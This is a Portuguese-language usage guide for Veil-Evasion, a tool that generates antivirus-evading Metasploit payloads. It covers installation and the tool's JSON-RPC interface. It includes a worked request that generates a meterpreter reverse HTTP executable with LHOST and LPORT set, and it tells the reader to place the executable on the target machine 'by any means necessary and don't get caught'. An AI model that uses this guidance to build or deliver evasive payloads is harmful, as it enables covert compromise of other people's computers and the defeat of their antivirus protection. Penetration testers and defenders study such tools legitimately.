
Veil Evasion já não é suportado, use o Veil 3.0!
Veil-Evasion é uma ferramenta projetada para gerar payloads metasploit que contornam soluções antivírus comuns.
NOTA:
./setup/setup.shdeve ser executado novamente em cada atualização de versão principal. Se você receber erros principais ao executar o Veil-Evasion, primeiro tente executar novamente este script para instalar quaisquer pacotes adicionais e atualizar o arquivo de configuração comum.
Veil-Evasion está atualmente sob suporte ativo de @ChrisTruncer, @TheMightyShiv, @HarmJ0y.
Agradecimentos a:
ou
NOTA: A instalação deve ser feita com privilégios de superusuário. Se você não estiver usando Kali Linux, preceda cada comando com
sudoou mude para o usuário root antes de começar.
Execute setup.sh -c no Kali x86.
Instale Python 2.7, Py2Exe, PyCrypto e PyWin32 em um computador Windows (para Py2Exe).
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c
NOTA: Isso deve ser feito com privilégios de superusuário. Se você não estiver usando Kali Linux, preceda cada comando com
sudoou mude para o usuário root antes de começar.
Na maioria das vezes, o arquivo de configuração em /etc/veil/settings.py não precisará ser reconstruído, mas em alguns casos você pode ser solicitado a fazê-lo. O arquivo é gerado por config/update.py.
É importante que você esteja no diretório config/ antes de executar o update.py. Se não estiver, o settings.py estará incorreto e quando você iniciar o Veil-Evasion verá o seguinte.
Main Menu
0 payloads loaded
Não entre em pânico. Entre no diretório config/ e execute novamente o update.py.
Veil-Evasion foi projetado para rodar no Kali Linux, mas deve funcionar em qualquer sistema capaz de executar scripts python. Basta chamar o Veil-Evasion pela linha de comando e seguir o menu para gerar um payload. Ao criar o payload, o Veil-Evasion perguntará se você deseja que o arquivo de payload seja convertido em um executável pelo Pyinstaller ou Py2Exe.
Se usar Pyinstaller, o Veil-Evasion converterá seu payload em um executável dentro do Kali.
Se usar Py2Exe, o Veil-Evasion criará três arquivos:
Mova todos os três arquivos para sua máquina Windows com Python instalado. Todos os três arquivos devem ser colocados na raiz do diretório onde o Python foi instalado (provavelmente C:\Python27). Execute o script batch para converter o script Python em um formato executável.
Coloque o arquivo executável em sua máquina alvo por qualquer meio necessário e não seja pego!
No lado do ouvinte, execute:
./Veil-Evasion --rpc
Isso iniciará um ouvinte na porta 4242.
No lado do cliente, você precisará executar um programa cliente. Pode ser um script personalizado ou algo tão simples quanto o Netcat. O servidor RPC implementa JSON-RPC. Esta é uma boa referência para interpretar requisições e respostas para JSON-RPC: http://json-rpc.org/wiki/specification
O formato da requisição RPC é o seguinte:
method="version" - return the current Veil-Evasion version number
method="payloads" - return all the currently loaded payloads
method="payload_options"
params="payload_name" - return the options for the specified payload
method="generate"
params=["payload=X",
"outputbase=Y"
"overwrite=Z",
"msfvenom=...",
"LHOST=blah] - generate the specified payload with the given options and returns the path of the generated executable
Este é um exemplo simples de trabalho com Veil-Evasion usando Netcat:
root@kali:~# nc 127.0.0.1 4242
{"method":"version","params":[],"id":0}
E a resposta do servidor:
{"id":0,"result":"2.21.4","error":null}
Um exemplo de programa cliente pode ser encontrado aqui: http://github.com/miligulmohar/python-symmetric-jsonrpc/blob/master/examples/client.py
NOTA: A porta para Veil-Evasion é 4242. Isso deve ser alterado no client.py para funcionar com ele.
Para gerar um payload, TODOS os parâmetros devem ser incluídos:
Esta é uma boa referência para entender se está usando ou não o pwnstaller: http://www.verisgroup.com/blog/2014/05/07/pwnstaller-and-the-veil-framework/
Um exemplo de geração de payload:
root@kali:~# nc 127.0.0.1 4242
{"method":"generate","params":["payload=c/meterpreter/rev_http","outputbase=payloadName","LHOST=192.168.1.11","LPORT=2121","pwnstaller=False"],"id":1"}
E a resposta do servidor:
{"id":8,"result":"/usr/share/veil-output/compiled/payloadName.exe","error":null}
NOTA: Se nenhum id for especificado na requisição, o Veil-Evasion será encerrado. Dito isso, você pode fazer quantas requisições válidas quiser até que o Veil-Evasion seja encerrado.
Para encerrar o servidor RPC execute:
./Veil-Evasion --rpcshutdown